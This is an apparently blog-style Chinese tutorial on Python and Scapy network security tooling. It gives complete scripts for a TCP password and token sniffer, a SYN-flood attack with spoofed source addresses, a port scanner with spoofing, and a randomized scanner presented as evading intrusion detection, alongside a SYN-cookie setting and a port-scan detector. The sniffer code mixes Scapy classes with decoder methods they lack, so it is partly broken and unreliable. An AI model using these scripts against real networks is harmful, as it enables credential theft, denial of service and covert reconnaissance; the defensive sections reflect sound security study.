網路流量分析在資安領域扮演著至關重要的角色,它能幫助我們監控網路活動、偵測惡意行為並防禦網路攻擊。本文將示範如何使用 Python 和一些網路分析工具,特別是 Scapy 和 pcapy,來攔截 TCP 流量並從中提取敏感資訊,例如使用者名稱和密碼。此技術應用範圍廣泛,包含企業內網安全監控、滲透測試和網路攻擊分析等。Python 因其豐富的函式庫和簡潔的語法而成為我們的首選開發語言,pcapy 則用於捕捉網路封包,並結合正規表示式來比對目標資訊。我們將詳細介紹程式碼的運作原理,包含網路卡和過濾條件設定、封包解碼、正規表示式比對以及命令列引數解析。此外,我們還會探討 SYN-Flooding 攻擊、埠掃描技術,並提供相應的防禦策略。最後,我們將分析 TCP/IP 探測技術,並示範如何使用 Scapy 建立偵測機制,以監控和防禦網路掃描行為。隨著網路技術的演進,加密流量分析和機器學習技術的應用將成為未來研究的重點。
網路流量攔截:抓取 TCP 封包中的敏感資訊
在現代網路安全中,網路流量攔截是一項非常重要的技術。它不僅能幫助我們監控網路狀況,還能用來檢測潛在的安全威脅。玄貓今天要介紹的是如何利用 Python 和一些網路分析工具來攔截 TCP 流量,並從中抓取敏感資訊,如使用者名稱和密碼。
應用場景與技術選型
這個技術可以應用在多種場景中,例如企業內部網路安全監控、漏洞測試以及網路攻擊分析。我們選擇 Python 作為開發語言,因為它擁有豐富的函式庫和工具來處理網路流量分析。此外,我們使用 pcapy 函式庫來捕捉網路封包,並利用正規表示式來比對敏感資訊。
程式碼實作
以下是完整的程式碼範例,這段程式碼會攔截指定網路卡上的 TCP 流量,並尋找可能包含使用者名稱和密碼的封包。
import sys
import getopt
import pcapy
from scapy.all import *
import re
# 設定網路卡和過濾條件
dev = "enp3s0f1"
filter = "tcp"
# 解碼器初始化
eth_dec = Ether()
ip_dec = IP()
tcp_dec = TCP()
# 正規表示式模式,用於比對使用者名稱和密碼
pattern = re.compile(r"(?P<found>(USER|USERNAME|PASS|PASSWORD|LOGIN|BENUTZER|PASSWORT|AUTH|ACCESS|ACCESS_KEY|SESSION|SESSION_KEY|TOKEN)[=: \s].+)\b",
re.MULTILINE | re.IGNORECASE)
# 捕捉每個封包並解碼
def handle_packet(hdr, data):
eth_pkt = eth_dec.decode(data)
ip_pkt = ip_dec.decode(eth_pkt.get_data_as_string())
tcp_pkt = tcp_dec.decode(ip_pkt.get_data_as_string())
payload = tcp_pkt.get_data_as_string()
match = None
try:
match = re.search(pattern, payload.decode())
except (UnicodeError, AttributeError):
# 如果封包內容是加密或二進位制資料,則跳過
pass
if not tcp_pkt.get_SYN() and not tcp_pkt.get_RST() and not tcp_pkt.get_FIN() and match and match.groupdict()['found'] is not None:
print("%s:%d -> %s:%d" % (ip_pkt.get_ip_src(), tcp_pkt.get_th_sport(), ip_pkt.get_ip_dst(), tcp_pkt.get_th_dport()))
print("\t%s\n" % match.groupdict()['found'])
# 命令列引數解析
def usage():
print(sys.argv[0] + " -i <dev> -f <pcap_filter>")
sys.exit(1)
try:
cmd_opts = "f:i:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-f":
filter = opt[1]
elif opt[0] == "-i":
dev = opt[1]
else:
usage()
# 啟動封包捕捉
pcap = pcapy.open_live(dev, 1500, 0, 100)
pcap.setfilter(filter)
print("Sniffing passwords on " + str(dev))
pcap.loop(0, handle_packet)
內容解密:
- 網路卡與過濾條件設定:我們首先設定了要攔截的網路卡(
enp3s0f1)和過濾條件(tcp),這意味著我們只會攔截 TCP 流量。 - 解碼器初始化:我們初始化了乙太網、IP 和 TCP 的解碼器,以便能夠解析封包的各個層次。
- 正規表示式模式:我們定義了一個正規表示式模式,用於比對可能包含使用者名稱和密碼的字串。
- 處理每個封包:
handle_packet函式會被呼叫來處理每個捕捉到的封包。它會先解析封包的乙太網、IP 和 TCP 層次,然後嘗試解碼負載部分。如果負載部分包含比對的敏感資訊,則會輸出相關內容。 - 命令列引數解析:我們使用
getopt函式庫來解析命令列引數,以便能夠動態設定網路卡和過濾條件。 - 啟動封包捕捉:最後,我們啟動了
pcapy函式庫來捕捉封包,並將每個封包傳遞給handle_packet函式進行處理。
技術選型考量
選擇 Python 作為開發語言的原因是其豐富的函式庫支援和簡單易用的語法。此外,pcapy 和 scapy 是兩個非常強大的工具函式庫,能夠方便地進行網路流量分析和操作。正規表示式則是一種靈活且高效的方法來比對敏感資訊。
未來趨勢與改進建議
隨著網路技術的不斷發展,未來可能會有更多加密技術被應用在網路通訊中。這意味著我們需要不斷更新和改進我們的技術手段,以便能夠有效地檢測和分析加密流量。此外,還可以考慮引入機器學習技術來提高敏感資訊比對的準確性。
使用 Scapy 進行網路攻擊與防禦
SYN-Flooder 攻擊
SYN-Flooding 是一種常見的分散式拒絕服務(DDoS)攻擊方式,它透過向目標系統傳送大量的偽造 TCP SYN 封包,使其陷入半開連線狀態,從而拒絕合法的連線請求。為了理解這種攻擊,玄貓將展示如何使用 Python 和 Scapy 工具來實作簡單的 SYN-Flooder。
#!/usr/bin/python3
import sys
from scapy.all import srflood, IP, TCP
if len(sys.argv) < 3:
print(sys.argv[0] + " <spoofed_source_ip> <target>")
sys.exit(0)
packet = IP(src=sys.argv[1], dst=sys.argv[2]) / \
TCP(dport=range(1, 1024), flags="S")
srflood(packet)
內容解密:
這段程式碼展示瞭如何使用 Scapy 函式庫來實作一個簡單的 SYN-Flooding 攻擊。首先,我們匯入了必要的模組 sys 和 scapy.all。接著,檢查命令列引數是否正確提供了源 IP 和目標 IP。然後,我們構建了一個 IP 封包,其中包含了偽造的源 IP 和目標 IP,並設定了 TCP 的 SYN 標誌。最後,我們使用 srflood 函式傳送這些封包。
通常,SYN 洪水攻擊會結合 IP 偽造,以避免攻擊者被自己的回應封包洪水淹沒。此外,攻擊者還可以透過偽造其他系統的 IP 地址來增加流量,因為被偽造的系統會對每個 SYN/ACK 封包傳送 RST 封包。
防禦 SYN-Flooding 攻擊
為了防禦 SYN-Flooding 攻擊,現代作業系統已經提供了一些機制。例如,在 Linux 中,可以透過啟用 SYN cookies 來防禦這種攻擊。SYN cookies 是一種機制,它在接收到 SYN 封包時不立即建立連線狀態,而是生成一個唯一的 cookie 值並將其傳回給客戶端。當客戶端傳送 ACK 封包時,伺服器使用 cookie 值來驗證連線請求的合法性。
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
此外,BSD 和 Mac OS X 系統也有類別似的機制。更多關於 SYN cookies 的資訊可以參考 Daniel Bernstein 的教程。
埠掃描技術
埠掃描是網路安全檢測中的一個重要技術,它用於探測目標系統上的開放埠。這樣可以幫助攻擊者找到可能的進入點或漏洞。以下是使用 Scapy 實作的一個簡單埠掃描器範例。
#!/usr/bin/python3
import sys
from scapy.all import sr, IP, TCP
if len(sys.argv) < 2:
print(sys.argv[0] + " <host> [<spoofed_source_ip>]")
sys.exit(1)
if len(sys.argv) == 3:
packet = IP(dst=sys.argv[1], src=sys.argv[2])
else:
packet = IP(dst=sys.argv[1])
packet /= TCP(dport=range(1, 1025), flags="S")
answered, unanswered = sr(packet, timeout=1)
res = {}
for packet in unanswered:
res[packet.dport] = "filtered"
for (send, recv) in answered:
if recv.get_layer("ICMP"):
type = recv.get_layer("ICMP").type
code = recv.get_layer("ICMP").code
if code == 3 and type == 3:
res[send.dport] = "closed"
else:
res[send.dport] = "Got ICMP with type " + str(type) + " and code " + str(code)
else:
flags = recv.get_layer("TCP").sprintf("%flags%")
if flags == "SA":
res[send.dport] = "open"
elif flags == "R" or flags == "RA":
res[send.dport] = "closed"
else:
res[send.dport] = "Got packet with flags " + str(flags)
ports = res.keys()
for port in sorted(ports):
if res[port] != "closed":
print(str(port) + ": " + res[port])
內容解密:
這段程式碼展示瞭如何使用 Scapy 函式庫來實作一個簡單的埠掃描器。首先,我們匯入了必要的模組 sys 和 scapy.all。接著,檢查命令列引數是否正確提供了目標主機和可選的偽造源 IP。然後,我們構建了一個 IP 封包並設定 TCP 的 SYN 標誌。接著,我們使用 sr 函式傳送這些封包並等待回應。
根據回應封包的不同情況,我們分別記錄埠狀態為「開放」、「關閉」或「過濾」。最後,我們將結果列印預出來。
網路安全技術分析與防範
網路安全技術不僅僅是防止攻擊者利用漏洞進行破壞或竊取資料,更是保護資訊系統的完整性和可用性。玄貓強調,瞭解各種攻擊技術及其防禦機制對於提升整體網路安全性至關重要。
防範措施:
- 啟用防火牆:防火牆可以過濾和阻擋不必要或可疑的流量。
- 更新系統和軟體:定期更新系統和軟體以修補已知漏洞。
- 使用入侵偵測系統(IDS):IDS 能夠實時監控網路流量並偵測異常行為。
- 加密通訊:使用 TLS/SSL 加密通訊以防止資料在傳輸過程中被竊取或篡改。
未來趨勢與挑戰
隨著網路技術的不斷進步,網路攻擊手法也在不斷演變。玄貓認為未來可能會面臨以下挑戰:
- 高階持續性威脅(APT):這些攻擊者具有高度技術能力且目標明確。
- 物聯網(IoT)裝置安全性:隨著 IoT裝置普及,其安全性問題將變得更加嚴重。
- 人工智慧與機器學習:AI 和機器學習技術將被廣泛應用於網路安全領域,但也可能被惡意利用。
總之,「玄貓」認為透過深入瞭解各種網路攻擊技術及其防範措施,「玄貓」可以有效提升網路安全性並保護資訊系統免受潛在威脅。
使用 Scapy 進行 TCP / IP 探測與防禦
在網路安全領域中,TCP / IP 探測是一種常見的技術手法,用來檢查目標系統開放的網路埠。這些埠可能會暴露出系統的弱點或服務,進而成為攻擊者的入侵目標。Scapy 是一個強大的 Python 函式庫,能夠方便地進行網路包的捕捉和分析。本文將探討如何使用 Scapy 進行 TCP / IP 探測,並且如何建立防禦機制來偵測這些掃描行為。
基本 TCP / IP 探測技術
TCP / IP 探測技術有多種形式,其中最常見的是 SYN 探測。SYN 探測會傳送 SYN 包到目標系統的各個埠,然後觀察回應包來判斷該埠是否開放。除了 SYN 探測,還有一些其他的探測技術,如 Null 探測、FIN 探測和 XMAS 探測。這些技術通常會使用特定的 TCP 旗標來觸發系統的回應。
使用 Scapy 進行 SYN 探測
Scapy 提供了豐富的功能來進行網路包的建構和分析。以下是一個簡單的 SYN 探測範例:
from scapy.all import *
import random
def syn_scan(target_ip, port_range):
for port in port_range:
# 建構 SYN 包
packet = IP(dst=target_ip)/TCP(dport=port, flags='S')
# 傳送包並接收回應
response = sr1(packet, timeout=1, verbose=0)
if response is None:
print(f"Port {port}: Closed")
elif response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12:
print(f"Port {port}: Open")
elif response.haslayer(TCP) and response.getlayer(TCP).flags == 0x14:
print(f"Port {port}: Closed")
else:
print(f"Port {port}: Unknown")
if __name__ == "__main__":
target_ip = "192.168.1.1"
port_range = range(1, 1025)
syn_scan(target_ip, port_range)
內容解密:
- 建構 SYN 包:使用
IP和TCP模組來建構一個 SYN 包。dst引數指定目標 IP 地址,dport引數指定目標埠,flags='S'指定 SYN 旗標。 - 傳送包並接收回應:使用
sr1函式傳送包並接收回應。timeout=1表示等待回應的時間為 1 秒。 - 分析回應:根據回應包的旗標來判斷埠狀態。
0x12對應於 SYN 和 ACK 旗標同時設定,表示埠開放;0x14對應於 RST 和 ACK 旗標同時設定,表示埠關閉。
應對探測行為的防禦機制
為了防止網路掃描行為,我們可以建立一個偵測機制來監控異常的網路流量。以下是一個使用 Scapy 偵測 TCP / IP 探測行為的範例:
from scapy.all import sniff
from collections import defaultdict
import time
# 全域變數
ip_to_ports = defaultdict(dict)
nr_of_diff_ports = 10
portscan_timespan = 10
def detect_port_scan(packet):
ip = packet.getlayer("IP")
tcp = packet.getlayer("TCP")
# 記錄掃描的埠和時間
ip_to_ports[ip.src][str(tcp.dport)] = int(time.time())
# 檢查來源 IP 是否掃描了太多不同的埠
if len(ip_to_ports[ip.src]) >= nr_of_diff_ports:
scanned_ports = ip_to_ports[ip.src].items()
# 檢查每個掃描記錄的時間
for scanned_port, scan_time in scanned_ports:
# 若掃描時間超出指定範圍,刪除記錄
if scan_time + portscan_timespan < int(time.time()):
del ip_to_ports[ip.src][scanned_port]
# 若仍有太多掃描記錄,則認為是掃描行為
if len(ip_to_ports[ip.src]) >= nr_of_diff_ports:
print(f"Port scan detected from {ip.src}")
print(f"Scanned ports: {', '.join(ip_to_ports[ip.src].keys())}\n")
del ip_to_ports[ip.src]
if __name__ == "__main__":
sniff(prn=detect_port_scan, filter="tcp", store=False)
內容解密:
- 全域變數:
ip_to_ports用來記錄每個來源 IP 的掃描記錄。nr_of_diff_ports和portscan_timespan分別定義了在指定時間內允許掃描的最大不同埠數量和時間範圍。 - 記錄掃描行為:每當捕捉到一個 TCP 包時,記錄其來源 IP 和目標埠。
- 檢查異常行為:如果某個來源 IP 在指定時間內掃描了太多不同的埠,則認為是掃描行為並輸出警告資訊。
改進與最佳化
隨機化掃描策略
高階攻擊者通常會使用隨機化策略來避免被偵測。他們會隨機選擇目標主機和目標埠,並且在不同時間間隔傳送探測包。這樣可以降低被網路入侵偵測系統(NIDS)檢測到的風險。
改進後的隨機掃描範例:
import random
def random_scan(target_ip_list, port_range):
for target_ip in target_ip_list:
for port in random.sample(port_range, len(port_range)):
# 建構 SYN 包
packet = IP(dst=target_ip)/TCP(dport=port, flags='S')
# 傳送包並接收回應
response = sr1(packet, timeout=random.uniform(0.5, 2), verbose=0)
if response is None:
print(f"Port {port} on {target_ip}: Closed")
elif response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12:
print(f"Port {port} on {target_ip}: Open")
elif response.haslayer(TCP) and response.getlayer(TCP).flags == 0x14:
print(f"Port {port} on {target_ip}: Closed")
else:
print(f"Port {port} on {target_ip}: Unknown")
if __name__ == "__main__":
target_ip_list = ["192.168.1.1", "192.168.1.2"]
port_range = range(1, 1025)
random_scan(target_ip_list, port_range)
評估與改進防禦策略
防禦策略需要不斷評估和改進以應對新興威脅。可以考慮以下幾點:
- 增加監控範圍:除了監控 TCP 流量外,還可以擴充套件到其他協定(如 UDP、ICMP)以提高偵測覆寫率。
- 動態調整閾值:根據網路流量情況動態調整
nr_of_diff_ports和portscan_timespan的值以減少誤報率。 - 整合其他安全工具:將本地偵測與其他安全工具(如 SIEM)整合,提供更全面的安全檢視。